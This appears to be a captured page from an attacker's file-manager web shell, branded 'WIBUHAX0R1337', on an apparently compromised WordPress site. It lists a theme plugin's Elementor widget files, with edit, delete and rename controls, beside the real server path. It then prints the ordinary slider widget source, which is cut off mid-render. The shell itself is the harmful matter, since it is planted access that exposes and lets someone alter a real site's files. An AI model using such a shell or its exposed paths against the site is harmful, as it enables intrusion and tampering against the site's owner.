-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
xtrasolutionsco.com
/
wp-content
/
plugins
/
tp-core
/
include
/
elementor
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
cssjs
--
NONE
templates
--
NONE
about.php
57.33KB
Edit File
Delete File
Rename
advanced-pricing.php
64.474KB
Edit File
Delete File
Rename
advanced-tab.php
22.697KB
Edit File
Delete File
Rename
animate-breadcrumb.php
21.405KB
Edit File
Delete File
Rename
application-form.php
5.887KB
Edit File
Delete File
Rename
blog-post.php
14.489KB
Edit File
Delete File
Rename
brand-animation.php
14.009KB
Edit File
Delete File
Rename
brand.php
11.774KB
Edit File
Delete File
Rename
browser-link.php
19.368KB
Edit File
Delete File
Rename
button.php
13.898KB
Edit File
Delete File
Rename
choose.php
28.192KB
Edit File
Delete File
Rename
contact-form.php
5.874KB
Edit File
Delete File
Rename
contact-info.php
24.333KB
Edit File
Delete File
Rename
contact-location.php
12.081KB
Edit File
Delete File
Rename
contact-tab.php
28.563KB
Edit File
Delete File
Rename
cta.php
26.845KB
Edit File
Delete File
Rename
fact.php
19.314KB
Edit File
Delete File
Rename
faq-info.php
17.712KB
Edit File
Delete File
Rename
faq.php
8.988KB
Edit File
Delete File
Rename
features.php
19.782KB
Edit File
Delete File
Rename
heading.php
11.38KB
Edit File
Delete File
Rename
hero-banner-1.php
72.672KB
Edit File
Delete File
Rename
industrial-info.php
30.671KB
Edit File
Delete File
Rename
info-banner.php
25.576KB
Edit File
Delete File
Rename
intregration-slider.php
7.619KB
Edit File
Delete File
Rename
job-details-title.php
9.157KB
Edit File
Delete File
Rename
jobs-post.php
7.874KB
Edit File
Delete File
Rename
journey.php
10.352KB
Edit File
Delete File
Rename
list.php
7.856KB
Edit File
Delete File
Rename
platform-area.php
20.835KB
Edit File
Delete File
Rename
portfolio-details-info.php
12.162KB
Edit File
Delete File
Rename
portfolio-details-sidebar.php
20.109KB
Edit File
Delete File
Rename
portfolio-grid.php
11.735KB
Edit File
Delete File
Rename
portfolio-post.php
11.561KB
Edit File
Delete File
Rename
pricing.php
27.578KB
Edit File
Delete File
Rename
process.php
18.193KB
Edit File
Delete File
Rename
project-slider.php
12.682KB
Edit File
Delete File
Rename
projects.php
22.576KB
Edit File
Delete File
Rename
rank.php
24.613KB
Edit File
Delete File
Rename
sale-info.php
36.763KB
Edit File
Delete File
Rename
services-title-list.php
20.188KB
Edit File
Delete File
Rename
services.php
51.222KB
Edit File
Delete File
Rename
slider.php
42.381KB
Edit File
Delete File
Rename
social.php
20.705KB
Edit File
Delete File
Rename
team-details-skill.php
16.175KB
Edit File
Delete File
Rename
team-details.php
24.703KB
Edit File
Delete File
Rename
team.php
31.657KB
Edit File
Delete File
Rename
testimonial.php
44.519KB
Edit File
Delete File
Rename
text-slider.php
9.134KB
Edit File
Delete File
Rename
video-popup-button.php
8.592KB
Edit File
Delete File
Rename
video-popup.php
6.003KB
Edit File
Delete File
Rename
<?php namespace TPCore\Widgets; use Elementor\Widget_Base; use Elementor\Controls_Manager; use \Elementor\Group_Control_Image_Size; use \Elementor\Group_Control_Background; use \Elementor\Control_Media; use \Elementor\Repeater; use \Elementor\Group_Control_Typography; use \Elementor\Group_Control_Box_Shadow; use \Elementor\Utils; use TPCore\Elementor\Controls\Group_Control_TPBGGradient; use TPCore\Elementor\Controls\Group_Control_TPGradient; if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly /** * Tp Core * * Elementor widget for hello world. * * @since 1.0.0 */ class TP_Slider extends Widget_Base { use \TPCore\Widgets\TPCoreElementFunctions; /** * Retrieve the widget name. * * @since 1.0.0 * * @access public * * @return string Widget name. */ public function get_name() { return 'tp-slider'; } /** * Retrieve the widget title. * * @since 1.0.0 * * @access public * * @return string Widget title. */ public function get_title() { return __( 'Slider', 'tp-core' ); } /** * Retrieve the widget icon. * * @since 1.0.0 * * @access public * * @return string Widget icon. */ public function get_icon() { return 'tp-icon'; } /** * Retrieve the list of categories the widget belongs to. * * Used to determine where to display the widget in the editor. * * Note that currently Elementor supports only one category. * When multiple categories passed, Elementor uses the first one. * * @since 1.0.0 * * @access public * * @return array Widget categories. */ public function get_categories() { return [ 'tpcore' ]; } /** * Retrieve the list of scripts the widget depended on. * * Used to set scripts dependencies required to run the widget. * * @since 1.0.0 * * @access public * * @return array Widget scripts dependencies. */ public function get_script_depends() { return [ 'tp-core' ]; } protected static function get_profile_names() { return [ 'apple' => esc_html__('Apple', 'tp-core'), 'behance' => esc_html__('Behance', 'tp-core'), 'bitbucket' => esc_html__('BitBucket', 'tp-core'), 'codepen' => esc_html__('CodePen', 'tp-core'), 'delicious' => esc_html__('Delicious', 'tp-core'), 'deviantart' => esc_html__('DeviantArt', 'tp-core'), 'digg' => esc_html__('Digg', 'tp-core'), 'dribbble' => esc_html__('Dribbble', 'tp-core'), 'email' => esc_html__('Email', 'tp-core'), 'facebook' => esc_html__('Facebook', 'tp-core'), 'flickr' => esc_html__('Flicker', 'tp-core'), 'foursquare' => esc_html__('FourSquare', 'tp-core'), 'github' => esc_html__('Github', 'tp-core'), 'houzz' => esc_html__('Houzz', 'tp-core'), 'instagram' => esc_html__('Instagram', 'tp-core'), 'jsfiddle' => esc_html__('JS Fiddle', 'tp-core'), 'linkedin' => esc_html__('LinkedIn', 'tp-core'), 'medium' => esc_html__('Medium', 'tp-core'), 'pinterest' => esc_html__('Pinterest', 'tp-core'), 'product-hunt' => esc_html__('Product Hunt', 'tp-core'), 'reddit' => esc_html__('Reddit', 'tp-core'), 'slideshare' => esc_html__('Slide Share', 'tp-core'), 'snapchat' => esc_html__('Snapchat', 'tp-core'), 'soundcloud' => esc_html__('SoundCloud', 'tp-core'), 'spotify' => esc_html__('Spotify', 'tp-core'), 'stack-overflow' => esc_html__('StackOverflow', 'tp-core'), 'tripadvisor' => esc_html__('TripAdvisor', 'tp-core'), 'tumblr' => esc_html__('Tumblr', 'tp-core'), 'twitch' => esc_html__('Twitch', 'tp-core'), 'twitter' => esc_html__('Twitter', 'tp-core'), 'vimeo' => esc_html__('Vimeo', 'tp-core'), 'vk' => esc_html__('VK', 'tp-core'), 'website' => esc_html__('Website', 'tp-core'), 'whatsapp' => esc_html__('WhatsApp', 'tp-core'), 'wordpress' => esc_html__('WordPress', 'tp-core'), 'xing' => esc_html__('Xing', 'tp-core'), 'yelp' => esc_html__('Yelp', 'tp-core'), 'youtube' => esc_html__('YouTube', 'tp-core'), ]; } /** * Register the widget controls. * * Adds different input fields to allow the user to change and customize the widget settings. * * @since 1.0.0 * * @access protected */ protected function register_controls(){ $this->register_controls_section(); $this->style_tab_content(); } protected function register_controls_section() { // layout Panel $this->start_controls_section( 'tp_layout', [ 'label' => esc_html__('Design Layout', 'tpcore'), ] ); $this->add_control( 'tp_design_style', [ 'label' => esc_html__('Select Layout', 'tpcore'), 'type' => Controls_Manager::SELECT, 'options' => [ 'layout-1' => esc_html__('Layout 1', 'tpcore'), 'layout-2' => esc_html__('Layout 2', 'tpcore'), 'layout-3' => esc_html__('Layout 3', 'tpcore'), ], 'default' => 'layout-1', ] ); $this->end_controls_section(); $this->start_controls_section( 'tp_main_slider', [ 'label' => esc_html__('Main Slider', 'tpcore'), 'description' => esc_html__( 'Control all the style settings from Style tab', 'tpcore' ), 'tab' => \Elementor\Controls_Manager::TAB_CONTENT, ] ); $repeater = new \Elementor\Repeater(); $repeater->add_control( 'repeater_condition', [ 'label' => __( 'Field condition', 'tpcore' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'style_1' => __( 'Style 1', 'tpcore' ), ], 'default' => 'style_1', 'frontend_available' => true, 'style_transfer' => true, ] ); $repeater->add_control( 'tp_box_icon_type', [ 'label' => esc_html__('Select Icon Type', 'tpcore'), 'type' => \Elementor\Controls_Manager::SELECT, 'default' => 'image', 'options' => [ 'image' => esc_html__('Image', 'tpcore'), 'icon' => esc_html__('Icon', 'tpcore'), 'svg' => esc_html__('SVG', 'tpcore'), ], 'condition' => [ 'repeater_condition' => ['style_3'], ] ] ); $repeater->add_control( 'tp_box_icon_svg', [ 'show_label' => false, 'type' => Controls_Manager::TEXTAREA, 'label_block' => true, 'placeholder' => esc_html__('SVG Code Here', 'tpcore'), 'condition' => [ 'tp_box_icon_type' => 'svg', 'repeater_condition' => ['style_3'], ] ] ); $repeater->add_control( 'tp_box_icon_image', [ 'label' => esc_html__('Upload Icon Image', 'tpcore'), 'type' => Controls_Manager::MEDIA, 'default' => [ 'url' => Utils::get_placeholder_image_src(), ], 'condition' => [ 'tp_box_icon_type' => 'image', 'repeater_condition' => ['style_3'], ] ] ); if (tp_is_elementor_version('<', '2.6.0')) { $repeater->add_control( 'tp_box_icon', [ 'show_label' => false, 'type' => Controls_Manager::ICON, 'label_block' => true, 'default' => 'fa fa-star', 'condition' => [ 'tp_box_icon_type' => 'icon', 'repeater_condition' => ['style_3'], ] ] ); } else { $repeater->add_control( 'tp_box_selected_icon', [ 'show_label' => false, 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon', 'label_block' => true, 'default' => [ 'value' => 'fas fa-star', 'library' => 'solid', ], 'condition' => [ 'tp_box_icon_type' => 'icon', 'repeater_condition' => ['style_3'], ] ] ); } $repeater->add_control( 'tp_slider_image', [ 'label' => esc_html__('Upload Image', 'tpcore'), 'type' => Controls_Manager::MEDIA, 'default' => [ 'url' => Utils::get_placeholder_image_src(), ] ] ); $repeater->add_control( 'tp_slider_bg_image', [ 'label' => esc_html__('Upload Background Image', 'tpcore'), 'type' => Controls_Manager::MEDIA, 'default' => [ 'url' => Utils::get_placeholder_image_src(), ], 'condition' => [ 'repeater_condition' => 'style_3' ] ] ); $repeater->add_control( 'tp_slider_sub_title', [ 'label' => esc_html__('Sub Title', 'tpcore'), 'description' => tp_get_allowed_html_desc( 'basic' ), 'type' => Controls_Manager::TEXT, 'default' => 'Subtitle', 'placeholder' => esc_html__('Type Before Heading Text', 'tpcore'), 'label_block' => true, ] ); $repeater->add_control( 'tp_slider_title', [ 'label' => esc_html__('Title', 'tpcore'), 'description' => tp_get_allowed_html_desc( 'intermediate' ), 'type' => Controls_Manager::TEXTAREA, 'default' => esc_html__('Grow business.', 'tpcore'), 'placeholder' => esc_html__('Type Heading Text', 'tpcore'), 'label_block' => true, ] ); $repeater->add_control( 'tp_slider_title_tag', [ 'label' => esc_html__('Title HTML Tag', 'tpcore'), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'h1' => [ 'title' => esc_html__('H1', 'tpcore'), 'icon' => 'eicon-editor-h1' ], 'h2' => [ 'title' => esc_html__('H2', 'tpcore'), 'icon' => 'eicon-editor-h2' ], 'h3' => [ 'title' => esc_html__('H3', 'tpcore'), 'icon' => 'eicon-editor-h3' ], 'h4' => [ 'title' => esc_html__('H4', 'tpcore'), 'icon' => 'eicon-editor-h4' ], 'h5' => [ 'title' => esc_html__('H5', 'tpcore'), 'icon' => 'eicon-editor-h5' ], 'h6' => [ 'title' => esc_html__('H6', 'tpcore'), 'icon' => 'eicon-editor-h6' ] ], 'default' => 'h2', 'toggle' => false, ] ); $repeater->add_control( 'tp_slider_description', [ 'label' => esc_html__('Description', 'tpcore'), 'description' => tp_get_allowed_html_desc( 'intermediate' ), 'type' => Controls_Manager::TEXTAREA, 'default' => esc_html__('There are many variations of passages of Lorem Ipsum available but the majority have suffered alteration.', 'tpcore'), 'placeholder' => esc_html__('Type section description here', 'tpcore'), 'condition' => [ 'repeater_condition' => 'style_3' ] ] ); $repeater->add_control( 'tp_slider_member_image', [ 'label' => esc_html__( 'Member Thumbnail', 'tpcore' ), 'type' => \Elementor\Controls_Manager::MEDIA, 'default' => [ 'url' => \Elementor\Utils::get_placeholder_image_src(), ], 'condition' => [ 'repeater_condition' => 'style_2' ] ] ); $repeater->add_control( 'tp_youtube_link', [ 'label' => esc_html__( 'Video Youtube link', 'tpcore' ), 'type' => \Elementor\Controls_Manager::TEXTAREA, 'condition' => [ 'repeater_condition' => 'style_3' ] ] ); $repeater->add_control( 'tp_slider_shape_switch', [ 'label' => esc_html__( 'Enable Shape ?', 'tpcore' ), 'type' => \Elementor\Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'tpcore' ), 'label_off' => esc_html__( 'No', 'tpcore' ), 'return_value' => 'yes', 'default' => 'no', 'separator' => 'before', 'condition' => [ 'repeater_condition' => 'style_1', ], ] ); $repeater->add_control( 'tp_slider_bubble_switch', [ 'label' => esc_html__( 'Enable Bubble ?', 'tpcore' ), 'type' => \Elementor\Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'tpcore' ), 'label_off' => esc_html__( 'No', 'tpcore' ), 'return_value' => 'yes', 'default' => 'no', 'separator' => 'before', 'condition' => [ 'repeater_condition' => 'style_2', ], ] ); $repeater->add_control( 'tp_btn_link_switcher', [ 'label' => esc_html__( 'Add Button link', 'tpcore' ), 'type' => \Elementor\Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'tpcore' ), 'label_off' => esc_html__( 'No', 'tpcore' ), 'return_value' => 'yes', 'default' => 'yes', 'separator' => 'before', ] ); $repeater->add_control( 'tp_btn_btn_text', [ 'label' => esc_html__('Button Text', 'tpcore'), 'type' => Controls_Manager::TEXT, 'default' => esc_html__('Button Text', 'tpcore'), 'title' => esc_html__('Enter button text', 'tpcore'), 'label_block' => true, 'condition' => [ 'tp_btn_link_switcher' => 'yes', ], ] ); $repeater->add_control( 'tp_btn_link_type', [ 'label' => esc_html__( 'Button Link Type', 'tpcore' ), 'type' => \Elementor\Controls_Manager::SELECT, 'options' => [ '1' => 'Custom Link', '2' => 'Internal Page', ], 'default' => '1', 'condition' => [ 'tp_btn_link_switcher' => 'yes', ] ] ); $repeater->add_control( 'tp_btn_link', [ 'label' => esc_html__( 'Button Link link', 'tpcore' ), 'type' => \Elementor\Controls_Manager::URL, 'dynamic' => [ 'active' => true, ], 'placeholder' => esc_html__( 'https://your-link.com', 'tpcore' ), 'show_external' => true, 'default' => [ 'url' => '#', 'is_external' => false, 'nofollow' => false, ], 'condition' => [ 'tp_btn_link_type' => '1', 'tp_btn_link_switcher' => 'yes', ] ] ); $repeater->add_control( 'tp_btn_page_link', [ 'label' => esc_html__( 'Select Button Link Page', 'tpcore' ), 'type' => \Elementor\Controls_Manager::SELECT2, 'label_block' => true, 'options' => tp_get_all_pages(), 'condition' => [ 'tp_btn_link_type' => '2', 'tp_btn_link_switcher' => 'yes', ] ] ); $this->add_control( 'slider_list', [ 'label' => esc_html__('Slider List', 'tpcore'), 'type' => \Elementor\Controls_Manager::REPEATER, 'fields' => $repeater->get_controls(), 'default' => [ [ 'tp_slider_title' => esc_html__('Grow business.', 'tpcore') ], [ 'tp_slider_title' => esc_html__('Development.', 'tpcore') ], [ 'tp_slider_title' => esc_html__('Marketing.', 'tpcore') ], ], 'title_field' => '{{{ tp_slider_title }}}', ] ); $this->add_group_control( Group_Control_Image_Size::get_type(), [ 'name' => 'thumbnail', // // Usage: `{name}_size` and `{name}_custom_dimension`, in this case `thumbnail_size` and `thumbnail_custom_dimension`. 'exclude' => ['custom'], // 'default' => 'tp-portfolio-thumb', ] ); $this->end_controls_section(); // Slider Bottom Panel $this->start_controls_section( 'tp_slider_bottom_info', [ 'label' => esc_html__('Slider Info', 'tpcore'), 'condition' => [ 'tp_design_style' => ['layout-1'] ] ] ); $this->add_control( 'show_social', [ 'label' => __( 'Show Social Links?', 'tpcore' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => __( 'Yes', 'tpcore' ), 'label_off' => __( 'No', 'tpcore' ), 'return_value' => 'yes', 'style_transfer' => true, ] ); $this->add_control( 'web_title', [ 'type' => Controls_Manager::TEXT, 'label_block' => false, 'label' => __( 'Website Address', 'tpcore' ), 'placeholder' => __( 'Add your profile link', 'tpcore' ), 'dynamic' => [ 'active' => true, ] ] ); $this->add_control( 'email_title', [ 'type' => Controls_Manager::TEXT, 'label_block' => false, 'label' => __( 'Email', 'tpcore' ), 'placeholder' => __( 'Add your email link', 'tpcore' ), 'dynamic' => [ 'active' => true, ] ] ); $this->add_control( 'phone_title', [ 'type' => Controls_Manager::TEXT, 'label_block' => false, 'label' => __( 'Phone', 'tpcore' ), 'placeholder' => __( 'Add your phone link', 'tpcore' ), 'dynamic' => [ 'active' => true, ] ] ); $this->add_control( 'facebook_title', [ 'type' => Controls_Manager::TEXT, 'label_block' => false, 'label' => __( 'Facebook', 'tpcore' ), 'default' => __( '#', 'tpcore' ), 'placeholder' => __( 'Add your facebook link', 'tpcore' ), 'dynamic' => [ 'active' => true, ] ] ); $this->add_control( 'twitter_title', [ 'type' => Controls_Manager::TEXT, 'label_block' => false, 'label' => __( 'Twitter', 'tpcore' ), 'default' => __( '#', 'tpcore' ), 'placeholder' => __( 'Add your twitter link', 'tpcore' ), 'dynamic' => [ 'active' => true, ] ] ); $this->add_control( 'instagram_title', [ 'type' => Controls_Manager::TEXT, 'label_block' => false, 'label' => __( 'Instagram', 'tpcore' ), 'default' => __( '#', 'tpcore' ), 'placeholder' => __( 'Add your instagram link', 'tpcore' ), 'dynamic' => [ 'active' => true, ] ] ); $this->add_control( 'linkedin_title', [ 'type' => Controls_Manager::TEXT, 'label_block' => false, 'label' => __( 'LinkedIn', 'tpcore' ), 'placeholder' => __( 'Add your linkedin link', 'tpcore' ), 'dynamic' => [ 'active' => true, ] ] ); $this->add_control( 'youtube_title', [ 'type' => Controls_Manager::TEXT, 'label_block' => false, 'label' => __( 'Youtube', 'tpcore' ), 'placeholder' => __( 'Add your youtube link', 'tpcore' ), 'dynamic' => [ 'active' => true, ] ] ); $this->add_control( 'googleplus_title', [ 'type' => Controls_Manager::TEXT, 'label_block' => false, 'label' => __( 'Google Plus', 'tpcore' ), 'placeholder' => __( 'Add your Google Plus link', 'tpcore' ), 'dynamic' => [ 'active' => true, ] ] ); $this->add_control( 'flickr_title', [ 'type' => Controls_Manager::TEXT, 'label_block' => false, 'label' => __( 'Flickr', 'tpcore' ), 'placeholder' => __( 'Add your flickr link', 'tpcore' ), 'dynamic' => [ 'active' => true, ] ] ); $this->add_control( 'vimeo_title', [ 'type' => Controls_Manager::TEXT, 'label_block' => false, 'label' => __( 'Vimeo', 'tpcore' ), 'placeholder' => __( 'Add your vimeo link', 'tpcore' ), 'dynamic' => [ 'active' => true, ] ] ); $this->add_control( 'behance_title', [ 'type' => Controls_Manager::TEXT, 'label_block' => false, 'label' => __( 'Behance', 'tpcore' ), 'placeholder' => __( 'Add your hehance link', 'tpcore' ), 'dynamic' => [ 'active' => true, ] ] ); $this->add_control( 'dribble_title', [ 'type' => Controls_Manager::TEXT, 'label_block' => false, 'label' => __( 'Dribbble', 'tpcore' ), 'placeholder' => __( 'Add your dribbble link', 'tpcore' ), 'dynamic' => [ 'active' => true, ] ] ); $this->add_control( 'pinterest_title', [ 'type' => Controls_Manager::TEXT, 'label_block' => false, 'label' => __( 'Pinterest', 'tpcore' ), 'placeholder' => __( 'Add your pinterest link', 'tpcore' ), 'dynamic' => [ 'active' => true, ] ] ); $this->add_control( 'gitub_title', [ 'type' => Controls_Manager::TEXT, 'label_block' => false, 'label' => __( 'Github', 'tpcore' ), 'placeholder' => __( 'Add your github link', 'tpcore' ), 'dynamic' => [ 'active' => true, ] ] ); $this->end_controls_section(); } protected function style_tab_content(){ $this->tp_section_style_controls('banner_section', 'Section Style', '.ele-section'); $this->tp_icon_style('banner_icon', 'Banner - Icon/Image/SVG', '.tp-banner-icon'); $this->tp_basic_style_controls('banner_sub_title', 'Sub Heading Style', '.ele-sub-heading'); $this->tp_basic_style_controls('banner_title', 'Heading Style', '.ele-heading'); $this->tp_basic_style_controls('banner_des', 'Content Style', '.ele-description'); $this->tp_basic_style_controls('banner_list', 'Features Style', '.ele-features'); $this->tp_link_controls_style('banner_btn_1', 'Button Style 1', '.ele-btn-1'); } /** * Render the widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); ?> <?php if ( $settings['tp_design_style'] == 'layout-3' ): ?> <div class="tp-slider__area p-relative"> <div class="hero-active-3 swiper-container"> <div class="swiper-wrapper"> <?php foreach ($settings['slider_list'] as $item) : $this->add_render_attribute('title_args', 'class', 'tp-slider-title mb-50 tp-el-title ele-heading'); if ( !empty($item['tp_slider_image']['url']) ) { $tp_slider_image_url = !empty($item['tp_slider_image']['id']) ? wp_get_attachment_image_url( $item['tp_slider_image']['id'], $settings['thumbnail_size']) : $item['tp_slider_image']['url']; $tp_slider_image_alt = get_post_meta($item["tp_slider_image"]["id"], "_wp_attachment_image_alt", true); } // btn Link if ('2' == $item['tp_btn_link_type']) { $link = get_permalink($item['tp_btn_page_link']); $target = '_self'; $rel = 'nofollow'; } else { $link = !empty($item['tp_btn_link']['url']) ? $item['tp_btn_link']['url'] : ''; $target = !empty($item['tp_btn_link']['is_external']) ? '_blank' : ''; $rel = !empty($item['tp_btn_link']['nofollow']) ? 'nofollow' : ''; } ?> <div class="swiper-slide "> <div class="slider-item single-slider tp-slider-overlay tp-slider__height d-flex align-items-center p-relative z-index-1 "> <div class="tp-slider__bg" data-background="<?php echo esc_url($tp_slider_image_url); ?>"></div> <?php if (!empty($item['tp_slider_shape_switch'])) : ?> <div class="tp-slider-3__bg-3"></div> <div class="tp-slider-3__shap-left z-index-5"></div> <div class="tp-slider-3__shap z-index-2"> <img class="shap-1" src="<?php echo get_template_directory_uri(); ?>/assets/img/slider/shape5.png" alt=""> </div> <?php endif; ?> <div class="container"> <div class="row"> <div class="col-xl-12"> <div class="tp-slider-3__content p-relative text-center z-index-1"> <?php if ($item['tp_slider_title_tag']) : printf('<%1$s %2$s>%3$s</%1$s>', tag_escape($item['tp_slider_title_tag']), $this->get_render_attribute_string('title_args'), tp_kses($item['tp_slider_title']) ); endif; ?> <?php if (!empty($item['tp_slider_sub_title'])) : ?> <p class="tp-slider-pragrap"> <?php echo tp_kses( $item['tp_slider_sub_title'] ); ?> </p> <?php endif; ?> <?php if (!empty($link)) : ?> <div class="tp-slide-btn-box"> <a class="tp-btn-3" target="<?php echo esc_attr($target); ?>" rel="<?php echo esc_attr($rel); ?>" href="<?php echo esc_url($link); ?>"><?php echo tp_kses($item['tp_btn_btn_text']); ?></a> </div> <?php endif; ?> </div> </div> </div> </div> </div> </div> <?php endforeach; ?> </div> </div> <div class="tp-slider-3__nav slider-arrow-style"> <button class="tpslick-prev"><i class="fa-regular fa-arrow-right"></i></button> <button class="tpslick-next"> <i class="fa-regular fa-arrow-left"></i></button> </div> </div> <?php elseif ( $settings['tp_design_style'] == 'layout-2' ): ?> <div class="tp-slider-2__area"> <div class="hero-active-2 swiper-container"> <div class="swiper-wrapper"> <?php foreach ($settings['slider_list'] as $item) : $this->add_render_attribute('title_args', 'class', 'tp-slider-title tp-slider-title-2 black-color mb-50 tp-el-title ele-heading'); if ( !empty($item['tp_slider_image']['url']) ) { $tp_slider_image_url = !empty($item['tp_slider_image']['id']) ? wp_get_attachment_image_url( $item['tp_slider_image']['id'], $settings['thumbnail_size']) : $item['tp_slider_image']['url']; $tp_slider_image_alt = get_post_meta($item["tp_slider_image"]["id"], "_wp_attachment_image_alt", true); } // btn Link if ('2' == $item['tp_btn_link_type']) { $link = get_permalink($item['tp_btn_page_link']); $target = '_self'; $rel = 'nofollow'; } else { $link = !empty($item['tp_btn_link']['url']) ? $item['tp_btn_link']['url'] : ''; $target = !empty($item['tp_btn_link']['is_external']) ? '_blank' : ''; $rel = !empty($item['tp_btn_link']['nofollow']) ? 'nofollow' : ''; } ?> <div class="swiper-slide"> <div class="slider-item single-slider tp-slider-2__height d-flex align-items-center p-relative z-index-1 fix"> <div class="tp-slider-2__bg overlay" data-background="<?php echo esc_url($tp_slider_image_url); ?>"></div> <?php if (!empty($item['tp_slider_shape_switch'])) : ?> <div class="tp-slider-2__shap"> <img class="shap-1" src="<?php echo get_template_directory_uri(); ?>/assets/img/slider/shape3.png" alt=""> </div> <div class="tp-slider-2__shap-2"> <img class="shap-2" src="<?php echo get_template_directory_uri(); ?>/assets/img/slider/shape4.png" alt=""> </div> <?php endif; ?> <div class="tp-slider-2__shap-top"></div> <div class="container"> <div class="row"> <div class="col-xl-8"> <div class="tp-slider-2__content p-relative z-index-1"> <?php if ($item['tp_slider_title_tag']) : printf('<%1$s %2$s>%3$s</%1$s>', tag_escape($item['tp_slider_title_tag']), $this->get_render_attribute_string('title_args'), tp_kses($item['tp_slider_title']) ); endif; ?> <?php if (!empty($link)) : ?> <div class="tp-slide-btn-box"> <a class="tp-btn-5" target="<?php echo esc_attr($target); ?>" rel="<?php echo esc_attr($rel); ?>" href="<?php echo esc_url($link); ?>"><?php echo tp_kses($item['tp_btn_btn_text']); ?></a> </div> <?php endif; ?> </div> </div> </div> </div> </div> </div> <?php endforeach; ?> </div> </div> <div class="tp-slider-2__nav"> <div class="hero-button-next-2"><i class="fa-sharp fa-regular fa-arrow-right"></i></div> <div class="hero-button-prev-2"> <i class="fa-regular fa-arrow-left"></i></div> </div> </div> <?php else: ?> <div class="tp-slider__area p-relative"> <div class="hero-active swiper-container"> <div class="swiper-wrapper"> <?php foreach ($settings['slider_list'] as $item) : $this->add_render_attribute('title_args', 'class', 'tp-slider-title mb-45 tp-el-title ele-heading'); if ( !empty($item['tp_slider_image']['url']) ) { $tp_slider_image_url = !empty($item['tp_slider_image']['id']) ? wp_get_attachment_image_url( $item['tp_slider_image']['id'], $settings['thumbnail_size']) : $item['tp_slider_image']['url']; $tp_slider_image_alt = get_post_meta($item["tp_slider_image"]["id"], "_wp_attachment_image_alt", true); } // btn Link if ('2' == $item['tp_btn_link_type']) { $link = get_permalink($item['tp_btn_page_link']); $target = '_self'; $rel = 'nofollow'; } else { $link = !empty($item['tp_btn_link']['url']) ? $item['tp_btn_link']['url'] : ''; $target = !empty($item['tp_btn_link']['is_external']) ? '_blank' : ''; $rel = !empty($item['tp_btn_link']['nofollow']) ? 'nofollow' : ''; } ?> <div class="swiper-slide "> <div class="slider-item single-slider tp-slider-overlay tp-slider__height d-flex align-items-center p-relative z-index-1 fix"> <div class="tp-slider__bg" data-background="<?php echo esc_url($tp_slider_image_url); ?>"></div> <?php if (!empty($item['tp_slider_shape_switch'])) : ?> <div class="tp-slider__shap"> <img class="shap-1" src="<?php echo get_template_directory_uri(); ?>/assets/img/slider/shape.png" alt=""> </div> <div class="tp-slider__shap-right float-bob-y"> <img class="shap-right" src="<?php echo get_template_directory_uri(); ?>/assets/img/slider/shape6.png" alt=""> </div> <?php endif; ?> <div class="tp-slider__angle-shape"></div> <div class="container"> <div class="row"> <div class="col-xl-9"> <div class="tp-slider__content p-relative z-index-1"> <span class="tp-slider-sub-title"> <?php if (!empty($item['tp_slider_sub_title'])) : ?> <?php echo tp_kses( $item['tp_slider_sub_title'] ); ?> <?php endif; ?> </span> <?php if ($item['tp_slider_title_tag']) : printf('<%1$s %2$s>%3$s</%1$s>', tag_escape($item['tp_slider_title_tag']), $this->get_render_attribute_string('title_args'), tp_kses($item['tp_slider_title']) ); endif; ?> <?php if (!empty($link)) : ?> <div class="tp-slide-btn-box"> <a class="tp-btn" target="<?php echo esc_attr($target); ?>" rel="<?php echo esc_attr($rel); ?>" href="<?php echo esc_url($link); ?>"><?php echo tp_kses($item['tp_btn_btn_text']); ?></a> </div> <?php endif; ?> </div> </div> </div> </div> </div> </div> <?php endforeach; ?> </div> </div> <div class="tp-slider__nav"> <button class="hero-button-next"><i class="fa-sharp fa-regular fa-arrow-right"></i></button> <button class="hero-button-prev"> <i class="fa-regular fa-arrow-left"></i></button> </div> <?php if( !empty($settings['show_social'] ) ) : ?> <div class="tp-slider__social-horizonter"> <ul> <div class="tp-team-social-info"> <?php if( !empty($settings['web_title'] ) ) : ?> <li><a href="<?php echo esc_url( $settings['web_title'] ); ?>"><?php echo esc_html__("WEBSITE","tpcore") ?></a></li> <?php endif; ?> <?php if( !empty($settings['phone_title'] ) ) : ?> <li><a href="<?php echo esc_url( $settings['phone_title'] ); ?>"><?php echo esc_html__("PHONE","tpcore") ?></a></li> <?php endif; ?> <?php if( !empty($settings['facebook_title'] ) ) : ?> <li><a href="<?php echo esc_url( $settings['facebook_title'] ); ?>"><?php echo esc_html__("FACEBOOK","tpcore") ?></a></li> <?php endif; ?> <?php if( !empty($settings['twitter_title'] ) ) : ?> <li><a href="<?php echo esc_url( $settings['twitter_title'] ); ?>"><?php echo esc_html__("TWITTER","tpcore") ?></a></li> <?php endif; ?> <?php if( !empty($settings['linkedin_title'] ) ) : ?> <li><a href="<?php echo esc_url( $settings['linkedin_title'] ); ?>"><?php echo esc_html__("LINKEDIN","tpcore") ?></a></li> <?php endif; ?> <?php if( !empty($settings['instagram_title'] ) ) : ?> <li><a href="<?php echo esc_url( $settings['instagram_title'] ); ?>"><?php echo esc_html__("INSTAGRAM","tpcore") ?></a></li> <?php endif; ?> <?php if( !empty($settings['youtube_title'] ) ) : ?> <li><a href="<?php echo esc_url( $settings['youtube_title'] ); ?>"><?php echo esc_html__("YOUTUBE","tpcore") ?></a></li> <?php endif; ?> <?php if( !empty($settings['googleplus_title'] ) ) : ?> <li><a href="<?php echo esc_url( $settings['googleplus_title'] ); ?>"><?php echo esc_html__("GOOGLE PLUS","tpcore") ?></a></li> <?php endif; ?> <?php if( !empty($settings['flickr_title'] ) ) : ?> <li><a href="<?php echo esc_url( $settings['flickr_title'] ); ?>"><?php echo esc_html__("FLICKR","tpcore") ?></a></li> <?php endif; ?> <?php if( !empty($settings['vimeo_title'] ) ) : ?> <li><a href="<?php echo esc_url( $settings['vimeo_title'] ); ?>"><?php echo esc_html__("VIMEO","tpcore") ?></a></li> <?php endif; ?> <?php if( 